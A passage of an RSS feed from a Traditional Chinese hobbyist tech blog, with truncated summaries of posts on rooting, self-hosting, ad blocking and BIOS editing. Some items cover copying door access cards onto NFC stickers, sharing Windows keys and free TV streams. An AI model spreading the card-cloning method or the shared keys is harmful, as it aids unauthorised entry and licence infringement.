sudo na…]]></description>
            </item>
  <item>
            <title><![CDATA[該離開蘋果了]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/該離開蘋果了/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/該離開蘋果了/</guid>
            <pubDate>Sat, 26 Oct 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[一個自由和不自由的論點。
長久以來，iphone在市場占有率上有絕對的優勢領先，但是這顆水果總是代表著「監獄」的一方，人們使用iphone或其他的蘋果的產品就陷入了一個水果監獄，此篇我站在自由的一方，勸你離開這個監獄。
以下的android以原生系統為主，或者linux的mobile發行版
用蘋果設備真的比較安全嗎？
時常在YouTube影片中看到使用apple的設備比較安全，甚至有問題的APP執行在iphone就沒有問題，都不會中毒？，但是真的？
在程式的世界中有一句話：任何程式都有漏洞，縱使ios擁有沙盒機制，和較嚴格的開發者驗證機制，可是又不是沒有出現過病毒、或者有危害到安全的漏洞，去看…]]></description>
            </item>
  <item>
            <title><![CDATA[用speedtest提升網路速度]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/speedtest-up/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/speedtest-up/</guid>
            <pubDate>Wed, 23 Oct 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[你是否網路速度會達不到電信商或網路達不到，可是跑speedtest速度就會跑超極快？
這是因為ISP(網際網路服務提供者)特地為speedtest加速，因為讓speedtest的分數好看一點，從而提升網路的評價，而且幾乎每個ISP都會做這種事
但別擔心，讓我來教你解決
Android
需要先安裝termux，安裝好後先輸入指令讓termix獲取讀取檔案的權限
termux-setup-storage

之後輸入
ls
#會出現storage
cd storage

更新pkg和安裝git、python（若有安裝則跳過）
pkg update
pkg upgrade -y
pkg install…]]></description>
            </item>
  <item>
            <title><![CDATA[Blog搬家到hexo紀錄]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/change-to-hexo/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/change-to-hexo/</guid>
            <pubDate>Tue, 22 Oct 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[Blog搬家到hexo紀錄
此篇是紀錄blog的搬家紀錄，記錄從notionnext轉到hexo的過程。(提供給有需要的人參考）
為什麼我會從notionnext轉到hexo
理由有以下幾點：
1.速度太慢了
雖然notionnext的載入速度還可以接受，可是相比hexo還是太慢了(雖然好像我這Blog塞了一堆JS，速度有點慢)
2.自訂性太差
譬如我想在文章中使用html代碼，是無法做到的
3.404頁面打不開
不知道為什麼我的網站會這樣？
綜合以上，我決定要換網頁框架了
創建hexo框架
要創建hexo網頁，首先在離線的網路創建頁面。
安裝hexo
Linix(debian)、termux…]]></description>
            </item>
  <item>
            <title><![CDATA[門禁寫進手機（貼紙）-手機當門禁卡]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/nfc_stick/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/nfc_stick/</guid>
            <pubDate>Sat, 05 Oct 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[這篇文章教你如何把門禁卡寫進nfc貼紙裡，用貼紙刷門禁。(以android為主）

（網路上的圖）
前提必備
0.先確認你家的門禁是IC還是ID（看到後面的分辨教學）
1.先買nfc貼紙
(買相對應的IC或ID貼紙)（網路上買很便宜）
2.手機要有nfc功能，在設定裡搜尋：nfc看有沒有這功能
（若沒有則可以用讀卡機，本篇就只說手機如何用）
3.下載app（開源app)
4.如果沒辦法複製，可能是有加密，這時要解密，本篇不教學解密
（如果要解密可以參考：https://m.mobile01.com/topicdetail.php?f=739&amp;t=6575198）
5.悠遊卡無法複製，如…]]></description>
            </item>
  <item>
            <title><![CDATA[Proot安裝vs code（GUI)教學]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/proot_install_vs_code/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/proot_install_vs_code/</guid>
            <pubDate>Wed, 02 Oct 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[主體
Vs code(Visual Studio Code)是是一款自己覺得蠻好用的編輯器，搭配在termux proot使用，就可以不透過電腦即可在手機codeing，可是如果直接安裝微軟提供的deb檔安裝，會發現打不開，這是因為在proot中sandbox無法運行，只需要在終端輸入
code --no-sandbox

就正常了！












]]></description>
            </item>
  <item>
            <title><![CDATA[我家的esp32會挖礦—自製Nerdmier]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/esp32_mine/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/esp32_mine/</guid>
            <pubDate>Sat, 28 Sep 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[不曉得看到此篇的讀者，想到esp32會想到啥？今天我來帶你開開眼界，esp32來挖礦？
今天我將會用到nerdminer這個項目，來讓esp32成為血汗挖礦工

刷入教學
準備好以下
1.esp32或其他開發板(請上項目去看支援哪個esp32，我用esp32 wroom）
2.一條能傳輸數據的usb線
3.散熱片（可選，但不裝會超級燙）

4.BTC錢包（沒有錢包，那還要挖礦？）
準備好後，接上電腦→打開這個網址→選擇你的開發版（COM+數字）→flash
設定
插上電後，連接上NerdMinerAP（密碼是MineYourCoins）→連上後要你登入wifi→configure→輸入要連上的…]]></description>
            </item>
  <item>
            <title><![CDATA[Poco f6 pro root+twrp教學]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/pocof6pro_root_zh/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/pocof6pro_root_zh/</guid>
            <pubDate>Mon, 23 Sep 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[此篇教你如何在poco f6 pro上刷機，刷上TWRP和ROOT權限。
前置作業
1.電腦下載TWRP
2.下載解鎖工具
2.準備註冊1個月以上的小米帳戶（解鎖bootloader)
3.確保你對root,android的基本知識有一定程度了解
4.電腦安裝adb和fastboot（建議windows電腦）
5.安裝fastboot驅動
6.解鎖bootloader後資料會清空
7.我並不會對刷成磚的手機負責
解鎖bootloader
（確認手機有登入小米帳戶）
1.在手機下載Xiaomi Community
2.打開登入帳戶
3.按底下的ME→unlock bootloader

4.按下…]]></description>
            </item>
  <item>
            <title><![CDATA[為台灣人設計的反廣告規則+擋廣告dns]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/tw_ad/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/tw_ad/</guid>
            <pubDate>Sat, 21 Sep 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[目前瀏覽器上有很多的反廣告擴充（例如：adguard,ublock)，但是這些擴充沒有一些進階的功能如：內容農場攔截，詐騙網址攔截，正好在之前看到了github上有個不錯的套件:LowTechFilter，這篇文章來介紹這個不錯的專案，和擋廣告的dns。
LowTechFilter規則
先進到github的頁面，
你會看到有DNS 清單和DOM 清單
1.DNS清單適用於自架的dns伺服器，如：AdGuard Home，Pi hole
2.DOM清單才是用於adblock的阻擋規則
→其實我比較推薦底下hosts 清單一覽的表格

這裡主要有5種清單，以下是官方的介紹
LowTechHost：…]]></description>
            </item>
  <item>
            <title><![CDATA[poco f6 pro root and install twrp and magisk]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/pocof6pro_root_en/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/pocof6pro_root_en/</guid>
            <pubDate>Tue, 17 Sep 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[The original language of this article is Traditional Chinese, and it was translated into English using ChatGPT.
原本文章


	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'format' : 'iframe',
		'height' : 250,
		'width' : 300,
		'params' : {}
	};

This guide teaches you how to flash the P…]]></description>
            </item>
  <item>
            <title><![CDATA[小米手機救磚紀錄]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/help/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/help/</guid>
            <pubDate>Fri, 13 Sep 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[刷機時常會碰到：進度條99%的時候，手機突然覺得自己是塊磚，導致變磚，從此進入「靜心修行」模式，再也喚不回來。-chatgpt
剛好我的手機變磚，所以來記錄，提供手機變磚的人做參考。
使用的手機+狀況
使用poco f6 pro，刷LineageOS後，出現卡在fastboot
Rom:
https://xdaforums.com/t/rom-unofficial-lineageos-21-0-android-14-0-poco-f6-pro-redmi-k70-vermeer.4691985/
救磚前置作業+提醒
1.Windows系統先安裝好fastboot+驅動
2.一條能讀寫的usb線…]]></description>
            </item>
  <item>
            <title><![CDATA[hyper os中你不知道的奇怪activity]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/activity/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/activity/</guid>
            <pubDate>Sat, 07 Sep 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[Android有個機制叫”activity”，這個activity簡單來講是一個GUI的頁面，今天我要用這個”activity”來帶你看小米hyper os的秘密（？）
使用的手機
Poco f6 pro（1.0.3.0.UNKTWXM)
使用「設備訊息」app啟動activity
如果知道有開源、免費的類似app，可以告訴我：）
打開activity教學
打開設備訊息→按應用→點一個應用程式→活動→啟動activity

啟動後就會開啟對應的activity，例如我啟動指南針中的第一個activity，就會啟動指南針，接著我就來告訴你我在hyper os中發現的。
1.建議設定
Androi…]]></description>
            </item>
  <item>
            <title><![CDATA[在手機看電視教學（頻道多免費）]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/tv_on_phone/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/tv_on_phone/</guid>
            <pubDate>Sun, 25 Aug 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[（底下僅供教學參考）
今天教你免費用手機看電視，頻道數量跟在google play上的免費app還要多很多，且不用錢，畫質也還算可以。

也可以看職棒喔！

網頁版-星火直播
（推薦按底下連結直接進入網站）
台灣電視
體育台（緯來體育、愛爾達電視等）
網頁版的電視直播
優點:只要打開網頁就能看了，不用下載app
缺點：很多線路無法載入
IPTV
IPTV345

優點：有很多線路，大多都可以看
缺點：app版很多廣告，建議打開電腦版網站瀏覽網頁
個人建議：如果是要看職棒推薦用這個看
IPTV
網路協定電視（英語：Internet Protocol Television，縮寫：IPTV）是寬頻電…]]></description>
            </item>
  <item>
            <title><![CDATA[virtualbox guest additions iso下載教學]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/virtualbox/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/virtualbox/</guid>
            <pubDate>Thu, 15 Aug 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[
	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'format' : 'iframe',
		'height' : 250,
		'width' : 300,
		'params' : {}
	};

最近在使用virtualbox發現在下載guest addition時，發現不管等多久下載進度卡在100%


那既然guest addition是個iso檔案，是不是可以下載ISO檔？

	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'…]]></description>
            </item>
  <item>
            <title><![CDATA[Ubuntu開啟ssh]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/ubuntu-ssh/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/ubuntu-ssh/</guid>
            <pubDate>Fri, 09 Aug 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[安裝和啟用ssh
先依序輸入
sudo apt install openssh-client

sudo apt install openssh-server


	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'format' : 'iframe',
		'height' : 250,
		'width' : 300,
		'params' : {}
	};


廣告，請繼續閱讀
安裝後輸入以下指令，確保ssh已開啟
sudo systemctl status ssh

如果成功則輸出（不一定一樣只要看有沒有綠色圓…]]></description>
            </item>
  <item>
            <title><![CDATA[搭建屬於你的伺服器-nextcloud(指令）]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/nas/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/nas/</guid>
            <pubDate>Thu, 08 Aug 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[docker pull
docker pull mysql:latest

docker pull nextcloud

依序輸入指令
安裝mysql
注意指令中的password請改成你想要的密碼
docker run -p 3306:3306 --name mysql --restart="always" -v /usr/local/mysql/conf:/etc/mysql/conf.d -v /usr/local/mysql/logs:/logs -v /usr/local/mysql/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=passwor…]]></description>
            </item>
  <item>
            <title><![CDATA[紀錄：自己組裝一台「鞋盒」nas]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/nas-note/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/nas-note/</guid>
            <pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[目前選用的硬體
CPU:撿到的i7 4770
GPU:gt-1030
電供：不知名品牌400w
主機板：技嘉-1150-GA-H81M-DS2-H81
ram:三星ram ddr3 8G
7/31目前問題：
剛開機（還沒有畫面）就斷電然後就重開機
有時開機的狀態會比較久，但還是無法順利開機
結果誰知道試一試風扇開始全速運轉，嚇死我了
正在解決問題
8/1
解果發現問題是散熱器沒裝好，重新安裝散熱器就好了，順利開機了，之後可能打算拍懾yt，來安裝nextcloud。

8/3
正式部屬完成












]]></description>
            </item>
  <item>
            <title><![CDATA[用無線adb投影到電腦上——scrcpy(Linux+windows)]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/scrcpy/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/scrcpy/</guid>
            <pubDate>Sun, 28 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[這篇文章教你如何用scrcpy投影android手機畫面到電腦上！
無線連接adb
確保兩個設備都連上同一個網路
1.開發者選項
（不是每台手機都一樣，但步驟可以參考）
手機打開設定→關於手機→軟體版本號碼(點7次）
在設定中找到開發者選項
打開無線偵錯
同意開啟
按使用配對碼配對
2.安裝adb
Debian/ubuntu請參考這篇中的解決方式
其他系統（如arch,fedora)可以在包管理器安裝
(arch)
sudo pacman -S android-tools android-udev

Windows可以參考這部影片
（影片作者：Linzin阿哲）
約4:45~6:06
3.連線…]]></description>
            </item>
  <item>
            <title><![CDATA[adb unknown command pair解決]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/adb-unknow/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/adb-unknow/</guid>
            <pubDate>Sat, 27 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[
	atOptions = {
		'key' : '34cc9cdc1485e1ef477da647218111aa',
		'format' : 'iframe',
		'height' : 250,
		'width' : 300,
		'params' : {}
	};

adb: unknown command pair解決
如果遇到這個問題，基本上是用apt來安裝adb，因為adb內有分兩個工具
SDK platform tools
ADB
如果是用apt安裝，預設是安裝sdk版本是28，而pair指令在v.30中才有，所以才會有這問題。
解決
請先解除安裝adb
解決方法很簡單，…]]></description>
            </item>
  <item>
            <title><![CDATA[教你如何下載YT的影片，甚至是FB,IG, twitter]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/download/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/download/</guid>
            <pubDate>Wed, 24 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[本來一開始影片放在YT，可是突然被通知影片被下架了(違反條款？），所以只好把影片放在我的blog。
(放blog總不會出事吧？）
onedrive
https://1drv.ms/v/c/8bab85f3a629b96d/IQNMy8KABvjsRJJjhHI7ExQgAY5VuR4rTmUtJ7FrH6jIYw8
dropbox
https://www.dropbox.com/scl/fi/0dapznujexzoaic32iutn/finish.mp4?rlkey=bsv701irh23lcczp2josml45p&amp;st=ff9q9xf4&amp;dl=0
連結
Chrome:ht…]]></description>
            </item>
  <item>
            <title><![CDATA[教你把Powered by NotionNext去除]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/notionnext/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/notionnext/</guid>
            <pubDate>Wed, 24 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[我雖然好不容易有了自己的blog，但是這個blog是基於NotionNext打造，blog底部會有powered by NotionNext的字體，我覺得很礙眼（我的blog居然可以通往別的網站
？），所以我教你如何移除。
github設定
打開你的github倉庫
打開
/themes/hexo/components/**Footer.js**

其中的hexo換成你設定的主題

原本程式是
import { siteConfig } from '@/lib/config'

const Footer = ({ title }) =&gt; {
  const d = new Date()
…]]></description>
            </item>
  <item>
            <title><![CDATA[用pytube實現python下載YT影片]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/pytube/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/pytube/</guid>
            <pubDate>Tue, 23 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[使用條件
電腦要裝以下軟體
1.python
2.pytube
將底下代碼貼到終端機
pip install pytube

程式主體
#程式主體和錯誤修正是由我設計、解決，chatgpt負責加入功能
from pytube import YouTube
import ssl

from pytube.innertube import _default_clients
from pytube import cipher
import re
#400錯誤解決代碼 （https://github.com/pytube/pytube/issues/1973）
_default_clients["AN…]]></description>
            </item>
  <item>
            <title><![CDATA[llama3開源模型教你不需要gpu在性能不好的電腦上搭建屬於自己的chatgpt!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/llama/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/llama/</guid>
            <pubDate>Thu, 18 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[llama3開源模型教你不需要gpu在性能不好的電腦上搭建屬於自己的chatgpt!
你是否想要在你的電腦上搭建屬於你的AI對話模型，卻沒有GPU（獨顯），這篇文章將會教你如何用CPU跑ai模型
電腦條件
1.必須有8GB以上的ram
2.磁碟空間要6GB以上的空間
如果電腦符和條件就可以開始今天的教學！
Gpt4all（主程式）安裝
首先要打開這個網址
linux：可以用flatpak安裝

按下載，下載完安裝檔後
windows：直接開啟
linux打開前須注意要賦予檔案是執行檔的權限


按next

選安裝路徑（linux要注意不能有中文在路徑中，如果一定要安裝在不被接受的路徑，可以將…]]></description>
            </item>
  <item>
            <title><![CDATA[不推薦你用的linux系統:Vanilla OS]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/vanilaos/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/vanilaos/</guid>
            <pubDate>Sun, 14 Jul 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[前陣子硬碟空間快要滿了，就想說重灌系統來解決，然後又想要用其他的系統試試，想到之前看到的Vanilla OS，就想說來裝看看，結果非常難用，結果又重新再安裝系統了（這次選擇**TUXEDO OS)**
以下說明我不推薦的原因：
apx的bug
apx是一種包管理器，它號稱可以做到以下事：
1.可以安裝不同的系統app（可以安裝arch,debian都可以）
2.不修改系統情況下安裝（採用容器設計）
正當我想試試看，就遇上了bug（2024.7.11）

（圖中的人不是我，是一名在reddit的網友）
原reddit
不是啊！我的帳號裡沒有ubuntu的帳號，怎麼莫名其妙多出來的帳號
解決方法
…]]></description>
            </item>
  <item>
            <title><![CDATA[幾分鐘的時間，帶你了解wifi加密]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/幾分鐘的時間，帶你了解wifi加密/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/幾分鐘的時間，帶你了解wifi加密/</guid>
            <pubDate>Thu, 27 Jun 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[現在家中基本上都有一台WIFI分享器，提供家裡有網路使用，可是當如果選錯加密的話後果可是很嚴重的，輕微頂多速度受限，隔壁鄰居蹭WIFI，嚴重的話個資不見，所以選擇對的加密是很重要的。
WPS
WPS是一種可以不需要”輸入密碼”就可以讓你方便連上網路的一種網路加密，只需要按下分享器上的WPS按鈕，再經由手機設定WPS就可以連上網路。

在支援WPS分享器上按下WPS

再經由手機設定就可以連上
WPS雖然看起來連線簡單，可是安全性卻也讓人堪憂，攻擊者只須要幾個小時內就可以成功破解WPS，或者只需要使用Wifite就可以輕鬆破解，*所以我建議最好關閉WPS這像功能來提昇網路的安全性，*關閉步驟可以…]]></description>
            </item>
  <item>
            <title><![CDATA[nextcloud改儲存路徑]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/nextcloud/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/nextcloud/</guid>
            <pubDate>Thu, 20 Jun 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[此篇接續https://www.leaftechblog.cloudns.biz/article/b8342200-9cb7-466f-98a5-b65bb5e6d8d9
首先先知到要儲存資料的路徑（此篇以/media/leaf/資料/為例，請改路徑）
到終端輸入(確保有權限）
sudo chown -R www-data:www-data /media/leaf/資料/

暫停nextcloud
docker stop nextcloud

輸入指令啟動nextcloud
docker run -d \
  -v /root/nextcloud/html:/var/www/html \
  …]]></description>
            </item>
  <item>
            <title><![CDATA[windows重灌教學，老電腦也能裝windows11，文章附有正版金鑰]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/windows11/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/windows11/</guid>
            <pubDate>Thu, 20 Jun 2024 00:00:00 +0000</pubDate>
            <description><![CDATA[今天教大家如何重灌windows11，並且不須要有TPM2.0
（1.此文章為新手取向）
（2.此文章主要教學UEFI，如果你的電腦是傳統BIOS可能沒辦法幫助你）
準備工作

[ ]  USB，並且大於8G
[ ]  電腦要可以連網路
[ ]  記得備份資料！！！重灌資料會不見

(重灌把系統裝在哪個硬碟，而那個硬碟就會清空）
準備開機碟
首先先打開這個網址

往下滑你會看到

選擇第一個標準版
下載完成後、點開，會詢問你是否開啟線上更新，是不是都可以
再點開這個網址
往下滑，你會看到下載 Windows 11 磁碟映像 (ISO)

按選取下載、windows11、下載
選擇你的語言、確認…]]></description>
            </item>
  <item>
            <title><![CDATA[0328]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/0328/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/0328/</guid>
            <pubDate></pubDate>
            <description><![CDATA[Mozilla
我：你們Mozilla的攤位在展示什麼？
他們就開示跟我介紹：Mozilla的TTS,Speach to Text，還有Mozilla的研究報告
我：還以為Mozilla只有Firefox，哈
Ubuntu
我：Ubuntu的社群在討論什麼？
他：我們就只是單純推廣Ubuntu
我還跟他討論Debian跟Ubuntu差別
(他一開始還不太想理我)
OCF
我跟他討論了一下，OCF在做什麼
然後還跟他討論到OCF到底主要推動自由還是開源
結果他跟我講說他們主要推動的是開源還有文字、音樂創作開放，但是他們不在乎開源還是自由
喔～學到了












]]></description>
            </item>
  <item>
            <title><![CDATA[2024]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2024/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2024/</guid>
            <pubDate></pubDate>
            <description><![CDATA[此篇是2024年紀錄我在某天特別發生的事，不定時更新

8/31對google chrome的感想


今天看到Google chrome竟然把主流的廣告阻擋器都要準備下架，更好笑的是按詳情，會看到是違反用戶隱私
不是啊！這兩個擴充是開源的，你google最好說明哪裡侵犯隱私！？

結果看了這篇才知道發生啥事，唉！我還是用firefox好了！

9/20的隨手紀錄：炸電容+LED?
VID_20240920_091654~2.mp4
VID_20240920_094200_8K~2.mp4

9/25
由於我是擔任資訊股長，然後我們班是110，有1又有0，老師問我說：想一個關於資訊的物品，可以…]]></description>
            </item>
  <item>
            <title><![CDATA[2026_1_28]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_28/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_28/</guid>
            <pubDate></pubDate>
            <description><![CDATA[相信已經有很多Blog已經批評Instagram社群媒體有多麼的不好，無聊......，對我來說也是真的無聊，那我幹麼還在blog留下Instagram,Youtube，請聽我娓娓道來
邊緣人！
基本上我還真是個邊緣人，還記得在幼稚園，老師：寫出你的好朋友，我卡了一天，還寫不出來（我不知道我到底要笑還是哭，反正我先笑好了），反正就是在國小5年級吧，班上把班群建立在Facebook Messenger中，我也這樣創立了我第一個Facebook帳號，那時我也不知道班上到底在幹麼，我也不知道怎麼跟他們聊天，但當時還有A,B同學陪伴我，我也用Messenger跟一些人聯繫(但現在早就音訊全無.....…]]></description>
            </item>
  <item>
            <title><![CDATA[2026_1_30_4]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_30_4/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_30_4/</guid>
            <pubDate></pubDate>
            <description><![CDATA[(此篇只是廢文)
廢文1
前言
剛好回憶到我當時是校內資訊比賽第二，但這第二讓我很吐血
所以紀錄下當時是發生什麼事
學校
學校當時的學科能力競賽是全部發email給學生，但不知道是怎樣，只有資優班有去報外加我一個，想當然我只有報名資訊，我當時還想說是解什麼題目呢？
結果當下看到題目，感覺差不多就像是學校電腦老師拿出版社光碟出的，例如：什麼東西是正方形然後掃出來有網址 A: QR code
ㄜ，好喔？也就是如果我沒去考，另一個是直接拿第一囉？
當然我也要說裡面的東西，我又沒上過資訊課，我也不曉得裡面是什麼東西，所以就拿了第二

我好歹在複賽有解2~3題，另一個是1題，解個Hello world的…]]></description>
            </item>
  <item>
            <title><![CDATA[2026_2_13_3]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_13_3/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_13_3/</guid>
            <pubDate></pubDate>
            <description><![CDATA[第三十一屆已經結束很久，當時寫學習歷程時，有個想法把這些給記錄下來，我可能是全網路第一個參賽者評論的
內容
其實這比賽還算知名，拿獎還不錯
基本上整個比賽圍繞在科學探究，主辦方會先告訴你要比的項目，像是底下的影片



仔細看影片，裡面有一堆你不知道得的細節，那些出題老師當然不會告訴你（講白就是老師們都很賤)，當時我還以為很簡單之類，結果差點被搞死，但是一開始也不用過多準備啦，看下去你就會知道
(探究過程？我早忘記了，現在躺在學習歷程裡面)
有趣的是，複賽有「創意競賽」，總之這東西不是在比科學，是聯想+美術。
校內初賽
相信我，如果你的學校不是前面的，基本上就是你想要報名，就是校內代表
所以，…]]></description>
            </item>
  <item>
            <title><![CDATA[2026_3_1]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_1/</guid>
            <pubDate></pubDate>
            <description><![CDATA[Citation
Chen, N. (2026). Lightweight Memory Safety Vulnerability Detection via CodeBERT and Focal Loss. Zenodo. https://doi.org/10.5281/zenodo.18816400












]]></description>
            </item>
  <item>
            <title><![CDATA[2026_3_20]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_3_20/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_3_20/</guid>
            <pubDate></pubDate>
            <description><![CDATA[資訊安全管理重點整理

一、風險管理
風險管理流程（ISO 27005 / 27001）
風險管理是一個持續循環的過程，共六大步驟，並貫穿全程的溝通與諮詢。
步驟一：確立背景
定義組織的範圍、目標、風險準則，以及可接受的風險水準（Risk Appetite）。
步驟二：風險識別
清查所有資訊資產，辨識可能的威脅（Threat）與弱點（Vulnerability）。
→ 這也是資產清冊存在的核心原因。
步驟三：風險分析
計算每個風險的風險值：
風險值 = 可能性（Likelihood） × 衝擊（Impact）
可採定性（高 / 中 / 低）或定量（數值化）方式進行。
步驟四：風險評估
將風險值…]]></description>
            </item>
  <item>
            <title><![CDATA[2026-1-16-1]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026-1-16-1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026-1-16-1/</guid>
            <pubDate></pubDate>
            <description><![CDATA[本篇適用於Linux
改BIOS有風險！！！我不負任何責任
UEFITools
wget https://github.com/LongSoft/UEFITool/releases/download/0.28.0/UEFITool_0.28.0_linux_x86_64.zip
unzip UEFITool_0.28.0_linux_x86_64.zip
chmod +x UEFITool

必須一定要低於0.28的版本
Flashrom
sudo apt install flashrom

開始
首先利用Flashrom備份現有BIOS
sudo flashrom --programmer …]]></description>
            </item>
  <item>
            <title><![CDATA[授權聲明]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/授權聲明/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/授權聲明/</guid>
            <pubDate></pubDate>
            <description><![CDATA[授權聲明：

本文章著作權為作者所有。
若使用者為人類，允許依 CC BY-NC-SA 4.0 規範進行非商業性使用、重製與改作，並須標示作者及採相同方式分享。
嚴禁任何人將本文章輸入生成式 AI 系統（如 ChatGPT、Claude、Grok 等）產生輸出，除非輸出經人類大幅修改且不構成衍生作品。
商業使用一律禁止。（內容農場那種直接複製貼上也算）
違反上述規範者，作者保留追究法律責任之權利。

]]></description>
            </item>
  <item>
            <title><![CDATA[note]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/note/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/note/</guid>
            <pubDate></pubDate>
            <description><![CDATA[C++筆記

四捨五入轉換
2.設計說明:
(1) 請撰寫一程式,讓使用者輸入要購買的瓶果汁數量,蘋果汁一瓶單價                23.34
元,計算總共要花多少錢並輸出至小數點後第二位。
3.輸入輸出:
(1) 輸入說明
一個自然數
(2) 輸出說明
總共要花多少錢並輸出至小數點後第二位
code:

#include &lt;cmath&gt;
#include &lt;iomanip&gt;
#include &lt;iostream&gt;
using namespace std;
double round2 (double s)
{
    return round(s…]]></description>
            </item>
  <item>
            <title><![CDATA[test_reccord_log]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/test_reccord_log/</link>
